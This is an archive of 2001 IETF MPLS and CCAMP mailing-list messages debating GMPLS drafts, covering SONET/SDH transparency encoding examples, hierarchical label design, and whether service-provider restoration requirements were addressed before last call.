Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02862 for mpls@uu.net; Tue, 29 May 2001 08:24:55 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrbq22214
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 07:44:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrbq29151
	for <mpls@UU.NET>; Tue, 29 May 2001 07:43:52 GMT
Received: from smtp1.gtsgroup.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkrbq08502
	for <mpls@UU.NET>; Tue, 29 May 2001 07:43:52 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Tue, 29 May 2001 09:33:20 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2LBBT>; Tue, 29 May 2001 09:42:05 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214662@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Heiles Juergen'" <Juergen.Heiles@icn.siemens.de>,
        "'Saha, Sayandeb'"
	 <ssaha@netplane.com>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Tue, 29 May 2001 09:42:04 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Juergen,

>Requesting section/line overhead transparency but limiting the paylaod to a
STS-48-c-SPE doesn't make much sense to me.

An STS-48c signal with LOH DCC and E2 transparency is just an example to
illustrate the coding, not more as you said. That's right that this type of
signal is probably not very useful, it is not always easy rto find coding
examples for complex cases that make sense. But anyway, if somebody wants to
have a transparent STS-48c he can.

Of course if you want to have another "organisation" for the payload you can
provision an STS-48 circuit and then structure it as you like.

Kind regards,

Eric

-----Original Message-----
From: Heiles Juergen [mailto:Juergen.Heiles@icn.siemens.de]
Sent: Tuesday, May 29, 2001 2:37 AM
To: Mannie, Eric; 'Saha, Sayandeb'
Cc: 'ccamp@ops.ietf.org'; 'mpls@UU.NET'
Subject: RE: Editorial comments on
draft-ietf-ccamp-gmpls-sonet-sdh-00.txt


Eric,

that was one point I commented onthe draft version of the Sonet/SDH
document. Requesting section/line overhead transparency but limiting the
paylaod to a STS-48-c-SPE doesn't make much sense to me. Transparency at the
line/section layer but not at the path layer. Ok you could code it, but not
everything you can combine is usefull and we better avoid to define such
examples.

Regards

Juergen

> -----Original Message-----
> From:	Mannie, Eric [SMTP:Eric.Mannie@ebone.com]
> Sent:	Wednesday, May 23, 2001 10:08 PM
> To:	'Saha, Sayandeb'
> Cc:	'ccamp@ops.ietf.org'; 'mpls@UU.NET'
> Subject:	RE: Editorial comments on
draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
> 
> Dear Sayan,
> 
> Thanks for the comments. However note that when requesting transparency
for
> an STS-48 signal for instance, the signal type to use is STS-48. You cant'
> concatenate STS-1's since concatenation of STS-1 is not defined, but
> concatenation of STS-1 SPE's is. If you ask the concatenation of 48 x
STS-1
> SPE's you are not speaking about the frame with its overhead, so you
cannot
> request transparency. So we took the decision to use well defined signal
> types when requesting transparency (e.g. STS-48). And we took the
convention
> to indicate in NCC the number of SPE's in that signal that must be
> concatenated. It took us some time to find a way to code each possible
> signal in a non ambiguous way. So I the original examples are correct.
> 
> Kind regards,
> 
> Eric
> 
> -----Original Message-----
> From: Saha, Sayandeb [mailto:ssaha@netplane.com]
> Sent: Wednesday, May 23, 2001 9:10 PM
> To: Mannie, Eric
> Cc: 'ccamp@ops.ietf.org'; 'mpls@UU.NET'
> Subject: Editorial comments on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt 
> 
> 
> Hi ALL,
> I noticed the following in section 4 of
> draft-ietf-ccamp-gmpls-sonet-sdh-00.txt .
> 
>  The example number 16 is ...
> 
> 16. An STS-48c signal with LOH DCC and E2 transparency is formed
>    by the application of CCT with Type 1, NCC with value 48, NVC with
>    value 0, MT with value 1 and T with flag 5 and 10 to an STS-48
>    Elementary Signal.
> 
> It should be 
> 
>    An STS-48c signal with LOH DCC and E2 transparency is formed
>    by the application of CCT with Type 1, NCC with value 48, NVC with
>    value 0, MT with value 1 and T with flag 5 and 10 to an STS-1 SPE
>    Elementary Signal.
> 
> The example number 17 is ...
> 
> 17. An STS-768c signal with K1/K2 and LOH DCC transparency is
>    formed by the application of CCT with Type 1, NCC with value 768,
>    NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
>    STS-768 Elementary Signal.
> 
> It should be 
> 
>    An STS-768c signal with K1/K2 and LOH DCC transparency is
>    formed by the application of CCT with Type 1, NCC with value 768,
>    NVC with value 0, MT with value 1 and T with flag 5 and 7 to an
>    STS-1 SPE Elementary Signal.
> 
> Regards
> -Sayan
> 
> 
> 
> 



From owner-mpls@UU.NET  Tue May 29 08:38:09 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00155
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:38:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck22190;
	Tue, 29 May 2001 12:35:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29682
	for mpls-outgoing; Tue, 29 May 2001 12:27:57 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrcj29244
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:24:58 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrcj27387
	for <mpls@uu.net>; Tue, 29 May 2001 12:22:53 GMT
Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrcj10894
	for <mpls@uu.net>; Tue, 29 May 2001 12:22:52 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCMq908087
	for <mpls@uu.net>; Tue, 29 May 2001 05:22:52 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02829 for mpls@uu.net; Tue, 29 May 2001 08:22:51 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqyh28075
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 09:59:16 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqyh13394
	for <mpls@uu.net>; Mon, 28 May 2001 09:58:35 GMT
Received: from smtp1.gtsgroup.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkqyh08526
	for <mpls@uu.net>; Mon, 28 May 2001 09:58:34 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Mon, 28 May 2001 11:49:14 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2KW3F>; Mon, 28 May 2001 11:57:58 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA0421464D@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)"
	 <gash@att.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Mon, 28 May 2001 11:57:57 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Dear Jerry and Percy,

I understand you concerns very well. Of course the restoration is of
paramount importance and all GMPLS co-authors are convinced about that. We
didn't forgot it, indeed we specifically decided to not include it at this
stage.

The process is first (if possible) to define an MPLS based restoration and
then to generalize it for GMPLS. This is still this idea of re-engineering
that we are doing since the beginning.

Another point is that this is very touchy and requires a lot of additional
thinking. Also if you consider the amount of religious debate that we
already have for SDH/SONET transparency and concatenation, I let you guess
what it will be for restoration (the IETF defining protection/restoration
protocols applicable to SDH/SONET.... we will have a lot of fun on mailing
lists :-)

The GMPLS specification in WG last call today is the first version. We
didn't want to include and cover everything. Additional work is still
needed. In some cases it should first fit the MPLS concepts and then go to
GMPLS.

Kind regards,

Eric

-----Original Message-----
From: Tarapore, Percy S [mailto:tarapore@att.com]
Sent: Thursday, May 24, 2001 8:55 PM
To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
Subject: RE: GMPLS Last Calls


There is a significant issue related to the absence of restoration in the
signaling draft
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
4.txt). Very specifically, Section 7 of this draft deals with the case
involving protection information for link protection. While link protection
schemes may be desirable for fast recovery related to high priority LSP's,
more cost-effective shared mesh restoration schemes would be preferred for
the majority of traffic from a Service Provider's perspective. This
observation is supported by the fact that many vendors are currently
developing proprietary schemes for shared mesh restoration. Hence, in
addition to the protection information, GMPLS signaling needs to reflect a
minimum set of information/attributes required for shared mesh restoration
without jeopardizing vendor proprietary solutions.

The need for multiple types of restoration capabilities is well documented
in the OIF/UNI I-D
http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
xt as follows:

" Multiple types of facilities available for restoration are needed
   within the network. The following options should be considered for
   allocation of facilities to support restoration of failed
   connections:
   - Dedicated restoration capacity
   - Shared restoration capacity. This allows the network to ensure
     high quality service for customers, while still managing its
     physical resources efficiently.
   - Un-restorable
   - Pre-emptable"

The OIF/UNI I-D supports a range of different restoration schemes through
the use of service level as a connection attribute. This attribute is
defined as follows:

" an integer attribute that indicates a class of service. A carrier may
specify a range of different classes of service (e.g. gold, silver, bronze)
with predefined characteristics (e.g. restoration plans). The pre-defined
service types correspond to different types of network restoration (e.g. no
restoration, 1+1 protection), connection set-up and hold priorities,
reversion strategies for the connection after failures have been repaired,
and retention strategies."

It is therefore important that GMPLS be extended to be able to support such
restoration schemes.

Percy S. Tarapore
AT&T Labs

-----Original Message-----
From: Ash, Gerald R (Jerry) 
Sent: Thursday, May 24, 2001 2:20 PM
To: ccamp@ops.ietf.org; mpls@uu.net
Cc: Ash, Gerald R (Jerry)
Subject: RE: GMPLS Last Calls


Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
draft:

"Eve - Had hoped that CCAMP formation and expression of requirements would
enable us to do more with architecture than reverse architect proposed
solution. Think we should also look at carrier requirements and look for
discrepancies with architecture. 
Curtis - requirements of carriers not being addressed?
Eve - happy to discuss on mailing list in absence of time"

There are still no documented service provider (SP) requirements driving the
proposed GMPLS protocol extensions.  This is inconsistent with the current
initiatives to provide SP requirements prior to protocol extensions being
accepted, such as for protection/restoration, network hierarchy, MPLS OAM,
MPLS/DiffServ TE, multi-area TE, etc.  

Here is a sample of SP requirements that are not being addressed (other
requirements from our perspective are forthcoming):

1. Restoration requirements, particularly in support of mesh restoration,
need to be supported by GMPLS.  For example, Section 7 of the Generalized
Signaling I-D
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
4.txt) 
primarily discusses link protection, restoration capabilities are largely
missing and need to be included.

2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
should be clearly identified in the text and referenced in the GMPLS I-Ds,
e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707 [Reference
G.707] is supported by the Generalized Label Request."

As per Eve's comment at IETF-50, SPs are encouraged to post their
requirements to the list.  It would also help if more SPs were invited to
co-author the GMPLS drafts, to help ensure that SP requirements are more
adequately reflected and addressed.

Jerry Ash
AT&T Labs


-----Original Message-----
From: George Swallow [mailto:swallow@cisco.com]
Sent: Monday, May 14, 2001 1:52 PM
To: ccamp@ops.ietf.org; mpls@uu.net
Subject: GMPLS Last Calls


This message initiates a last call on four GMPLS drafts.  The last
call is being issued jointly in the MPLS and CCAMP workgroups.

The drafts are:

    1.  Generalized MPLS - Signaling Functional Description

           <draft-ietf-mpls-generalized-signaling-04.txt>


    2.  Generalized MPLS Signaling - RSVP-TE Extensions

           <draft-ietf-mpls-generalized-rsvp-te-03.txt>


    3.  Generalized MPLS Signaling - CR-LDP Extensions

           <draft-ietf-mpls-generalized-cr-ldp-03.txt>


    4.  GMPLS Extensions for SONET and SDH Control

           <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>


The last call closes May 29, 12 pm GMT.


-  V2KG (Vijay, Vijay, Kireeti, & George)


======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824





From owner-mpls@UU.NET  Tue May 29 08:38:20 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00167
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:38:20 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck19152;
	Tue, 29 May 2001 12:34:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29679
	for mpls-outgoing; Tue, 29 May 2001 12:27:51 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrcj29331
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:26:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj16392
	for <mpls@uu.net>; Tue, 29 May 2001 12:25:08 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrcj25230
	for <mpls@uu.net>; Tue, 29 May 2001 12:25:07 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCP8U15257
	for <mpls@uu.net>; Tue, 29 May 2001 05:25:08 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02866 for mpls@uu.net; Tue, 29 May 2001 08:25:06 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrbs14761
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 08:14:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrbs28778
	for <mpls@UU.NET>; Tue, 29 May 2001 08:14:40 GMT
Received: from smtp1.gtsgroup.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkrbs01676
	for <mpls@UU.NET>; Tue, 29 May 2001 08:14:39 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Tue, 29 May 2001 10:04:11 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2LBYS>; Tue, 29 May 2001 10:12:56 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214663@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'Heiles Juergen'" <Juergen.Heiles@icn.siemens.de>,
        "Kullberg, Alan"
	 <akullber@netplane.com>,
        "'Kireeti Kompella'" <kireeti@juniper.net>
Cc: "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>,
        "'mpls@UU.NET'"
	 <mpls@UU.NET>
Subject: RE: last call comment on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
Date: Tue, 29 May 2001 10:12:55 +0200
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Juergen

>hierachical LSP setup in Sonet/SDH and other transport planes is an issue
currently not addressed by GMPLS. The Sonet/SDH naming tree (TDM-LSR link
lable) for example doesn't fit with independent higher and lower order VC
setup.

Sorry, but you misunderstood it completely. In addition this is explained in
the draft. It doesn't make any sense to apply GMPLS to SONET/SDH without a
powerful hierarchical LSP setup. The same apply to other technologies. 

Hierarchical LSP setup is one of the first thing that we thought about. One
of the added-value of MPLS is exactly that it fits very well with
hierarchical LSP setup. This concept is a fundamental one in GMPLS for
SONET/SDH. See after.

>For example the route of a VC-4 may change (use different STM-N ports at
the equipment) while the endpoints are still the same. The VC-12 transported
via these VC-4 don't have to care about the STM-N port only about the VC-4
endpoints. The current definition requires the port and full multiplex
structure. AS not much thoughts are spent on the issue the current
definition might not work with future extensions that support hierachical
structures.

On the contrary this issue requested a lot of thought. Hierarchical LSP
setup is explained in the draft. In addition one of the reasons to introduce
AUG-X and STS Groups was to enable more forms of hierarchical LSP setups
(see after).

About the label don't confuse the coding and the usage. We designed the
label specifically to support hierarchical LSP setup. When you code a label
of course you don't have to encode the full multiplex structure. Either you
code:

 - the higher part
 - the lower part
 - a middle part
 - the full label

Where higher, lower and middle have flexible boundaries and are relative to
the link (forwarding adjacency) in which it is. Per the MPLS definition, a
label is local to an interface/link between two nodes. If this link is a
VC-4 link (i.e. a circuit established with GMPLS and advertised as link in
the routing protocol), you can open a VC-12 circuit through that link. In
that case the label for the VC-12 indicates where is the VC-12 in the VC-4
circuit. As a side effect that will fix the allocation of a TUG-2 and TUG-3
at the interface. It will be the responsibility of a local algorithm to
decide which TUG-2 and which TUG-3 to "allocate". Of course these TUG-2 and
TUG-3 cannot be used anymore to carry a VC-3. The two TUG-3 that left can be
used to carry a VC-3.

This is just an example, you could prefer to open first a TUG-3 circuit,
then a TUG-2 circuit in that TUG-3 and then finally the VC-12 circuit in the
TUG-2 circuit. The way that the user wants to allocate circuits and/or what
is implemented by the manufacturer is of course not defined in the draft.

By the way this is another reason why TUG-3, TUG-2 and VTG are important as
signal types. They allow to specify the allocation in the multiplex level
("layer") per level. The same applies to AUG-X and STS Groups.

Having a 32 bit value for the label allowing to code, in the most complex
case, a position in the full multiplex or in any subtree is very powerful.

If you would like to do it with different label types, you would need a lot
of label types, probably more than 20 different types. Instead we have one
single and simple label.

Please see the explanations in section 3 of the draft.

Kind regards,

Eric

> -----Original Message-----
> From:	Kullberg, Alan [SMTP:akullber@netplane.com]
> Sent:	Thursday, May 24, 2001 5:44 PM
> To:	'Mannie, Eric'; 'Kireeti Kompella'
> Cc:	'ccamp@ops.ietf.org'; 'mpls@UU.NET'
> Subject:	last call comment on draft-ietf-ccamp-gmpls-sonet-sdh-00.txt
> 
> The following paragraph is from section 3 of
> draft-ietf-ccamp-gmpls-sonet-sdh-00.txt.
> 
>   When hierarchical SDH/SONET LSPs are used, an LSP with a given
>    bandwidth can be used to tunnel lower order LSPs.  The higher
>    order SDH/SONET LSP behaves as a virtual link with a given
>    bandwidth (e.g. VC-3), it may also be used as a Forwarding
>    Adjacency. A lower order SDH/SONET LSP can be established through
>    that higher order LSP. Since a label is local to a (virtual) link,
>    the highest part of that label is non-significant and is set to
>    zero.
> 
> The LSP Hierarchy draft introduces Link Mux Capability.  There is a value
> defined for TDM Switch Capable.  In order to support the hierarchy in the
> above paragraph, TDM Switch Capable would need to be split into multiple
> values, one for each level of the SDH/SONET multiplexing structure.
> 
> What do you think?
> 
> Alan
> 



From owner-mpls@UU.NET  Tue May 29 08:39:42 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00197
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:39:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck24910;
	Tue, 29 May 2001 12:37:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29688
	for mpls-outgoing; Tue, 29 May 2001 12:28:02 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrcj29216
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:24:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj24811
	for <mpls@uu.net>; Tue, 29 May 2001 12:23:36 GMT
Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrcj21503
	for <mpls@uu.net>; Tue, 29 May 2001 12:23:36 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCNZ908371
	for <mpls@uu.net>; Tue, 29 May 2001 05:23:35 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02837 for mpls@uu.net; Tue, 29 May 2001 08:23:34 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqyp15495
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 11:45:07 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqyo26459
	for <mpls@uu.net>; Mon, 28 May 2001 11:44:16 GMT
Received: from smtp1.gtsgroup.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp1.gtsgroup.com [195.158.230.16])
	id QQkqyo17465
	for <mpls@uu.net>; Mon, 28 May 2001 11:44:16 GMT
Received: from 207.77.231.73 by smtp1.gtsgroup.com (InterScan E-Mail VirusWall NT); Mon, 28 May 2001 13:34:44 +0200 (W. Europe Daylight Time)
Received: by brubhdpnt01.gtsgroup.com with Internet Mail Service (5.5.2653.19)
	id <LNY2KY25>; Mon, 28 May 2001 13:43:28 +0200
Message-ID: <D52BF6463BA3D311BFA700508B63C5AA04214654@brumsgpnt01.gtsgroup.com>
From: "Mannie, Eric" <Eric.Mannie@ebone.com>
To: "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake
	 <jdrake@calient.net>
Cc: "'Tarapore, Percy S'" <tarapore@att.com>,
        "Ash, Gerald R (Jerry)"
	 <gash@att.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: RE: GMPLS Last Calls
Date: Mon, 28 May 2001 13:43:25 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello Chuck,

We are working per step, this is GMPLS step one (first capability set). It
is like the IN approach of ITU-T (capability set one, then capability set
two defined on the top of the first one, etc).

End-to-end protecion/restoration is not part of this first capability set.

Rgds,

Eric

-----Original Message-----
From: C. R. Kalmanek [mailto:crk@research.att.com]
Sent: Friday, May 25, 2001 7:08 PM
To: John Drake
Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
mpls@uu.net
Subject: Re: GMPLS Last Calls


I fully agree: there are a whole spectrum of options that we
need to sort through, and clear requirements are needed to
guide that process.  Our concern is with the last call.  It
doesn't make sense to progress drafts to RFC that are likely 
in hindsight to be viewed as having serious deficiencies in
meeting restoration requirements.

chuck

John Drake wrote:
> 
> The point is that in GMPLS, as in regular MPLS, restoration consists of
> rerouting from the endpoints upon
> notification of failure.  There are a whole spectrum of path and span
> protection possibilites beyond this
> that people (including us) have proposed, but in the absence of firm
> requirements, it's hard to know which
> to pursue.  I'm not sure 'shared mesh restoration' completely covers it.
> 
> Thanks,
> 
> John
> 
> -----Original Message-----
> From: C. R. Kalmanek [mailto:crk@research.att.com]
> Sent: Friday, May 25, 2001 9:54 AM
> To: John Drake
> Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> mpls@uu.net
> Subject: Re: GMPLS Last Calls
> 
> John,
> 
> While there currently are no restoration requirements from the
> TE (or other) group, what Percy is saying is that shared mesh
> restoration WILL be a requirement from those groups.  Since the
> current GMPLS drafts don't meet this requirement, they are
> unlikely to meet key SP needs.
> 
> I don't understand a process that starts the requirements
> development after last call for the signaling specifications.
> 
> chuck
> 
> John Drake wrote:
> >
> > Percy,
> >
> > There has been work on protocols for path restoration in mesh networks
by
> a
> > number of
> > people.  However, at the last IETF Kireeti and Vijay clearly indicated
> that
> > this work,
> > while interesting, wouldn't be allowed to progress in advance of a
> > restoration requirements
> > draft from the TE group.
> >
> > Thanks,
> >
> > John
> >
> > -----Original Message-----
> > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > Sent: Thursday, May 24, 2001 11:55 AM
> > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > Subject: RE: GMPLS Last Calls
> >
> > There is a significant issue related to the absence of restoration in
the
> > signaling draft
> >
>
(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > 4.txt). Very specifically, Section 7 of this draft deals with the case
> > involving protection information for link protection. While link
> protection
> > schemes may be desirable for fast recovery related to high priority
LSP's,
> > more cost-effective shared mesh restoration schemes would be preferred
for
> > the majority of traffic from a Service Provider's perspective. This
> > observation is supported by the fact that many vendors are currently
> > developing proprietary schemes for shared mesh restoration. Hence, in
> > addition to the protection information, GMPLS signaling needs to reflect
a
> > minimum set of information/attributes required for shared mesh
restoration
> > without jeopardizing vendor proprietary solutions.
> >
> > The need for multiple types of restoration capabilities is well
documented
> > in the OIF/UNI I-D
> >
>
http://search.ietf.org/internet-drafts/draft-many-carrier-framework-uni-00.t
> > xt as follows:
> >
> > " Multiple types of facilities available for restoration are needed
> >    within the network. The following options should be considered for
> >    allocation of facilities to support restoration of failed
> >    connections:
> >    - Dedicated restoration capacity
> >    - Shared restoration capacity. This allows the network to ensure
> >      high quality service for customers, while still managing its
> >      physical resources efficiently.
> >    - Un-restorable
> >    - Pre-emptable"
> >
> > The OIF/UNI I-D supports a range of different restoration schemes
through
> > the use of service level as a connection attribute. This attribute is
> > defined as follows:
> >
> > " an integer attribute that indicates a class of service. A carrier may
> > specify a range of different classes of service (e.g. gold, silver,
> bronze)
> > with predefined characteristics (e.g. restoration plans). The
pre-defined
> > service types correspond to different types of network restoration (e.g.
> no
> > restoration, 1+1 protection), connection set-up and hold priorities,
> > reversion strategies for the connection after failures have been
repaired,
> > and retention strategies."
> >
> > It is therefore important that GMPLS be extended to be able to support
> such
> > restoration schemes.
> >
> > Percy S. Tarapore
> > AT&T Labs
> >
> > -----Original Message-----
> > From: Ash, Gerald R (Jerry)
> > Sent: Thursday, May 24, 2001 2:20 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Cc: Ash, Gerald R (Jerry)
> > Subject: RE: GMPLS Last Calls
> >
> > Quoting from the CCAMP/IETF-50 meeting minutes re the GMPLS Architecture
> > draft:
> >
> > "Eve - Had hoped that CCAMP formation and expression of requirements
would
> > enable us to do more with architecture than reverse architect proposed
> > solution. Think we should also look at carrier requirements and look for
> > discrepancies with architecture.
> > Curtis - requirements of carriers not being addressed?
> > Eve - happy to discuss on mailing list in absence of time"
> >
> > There are still no documented service provider (SP) requirements driving
> the
> > proposed GMPLS protocol extensions.  This is inconsistent with the
current
> > initiatives to provide SP requirements prior to protocol extensions
being
> > accepted, such as for protection/restoration, network hierarchy, MPLS
OAM,
> > MPLS/DiffServ TE, multi-area TE, etc.
> >
> > Here is a sample of SP requirements that are not being addressed (other
> > requirements from our perspective are forthcoming):
> >
> > 1. Restoration requirements, particularly in support of mesh
restoration,
> > need to be supported by GMPLS.  For example, Section 7 of the
Generalized
> > Signaling I-D
> >
>
